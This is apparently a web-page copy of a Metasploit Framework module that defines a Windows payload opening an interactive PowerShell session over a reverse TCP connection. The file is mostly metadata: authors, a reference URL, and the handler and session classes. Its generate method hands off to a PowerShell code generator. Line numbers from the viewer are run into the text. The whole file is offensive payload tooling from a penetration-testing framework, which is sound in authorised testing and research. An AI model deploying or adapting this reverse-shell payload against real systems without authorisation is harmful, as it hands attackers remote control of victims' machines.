Path: blob/master/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/powershell'56module MetasploitModule7CachedSize = :dynamic89include Msf::Payload::Single10include Rex::Powershell::Command11include Msf::Payload::Windows::Powershell1213def initialize(info = {})14super(15merge_info(16info,17'Name' => 'Windows Interactive Powershell Session, Reverse TCP',18'Description' => 'Interacts with a powershell session on an established socket connection',19'Author' => [20'Ben Turner', # benpturner21'Dave Hardy' # davehardy2022],23'References' => [24['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']25],26'License' => MSF_LICENSE,27'Platform' => 'windows',28'Arch' => ARCH_CMD,29'Handler' => Msf::Handler::ReverseTcp,30'Session' => Msf::Sessions::PowerShell,31'RequiredCmd' => 'generic',32'Payload' => {33'Offsets' => {},34'Payload' => ''35}36)37)38end3940def generate(_opts = {})41generate_powershell_code('Reverse')42end43end444546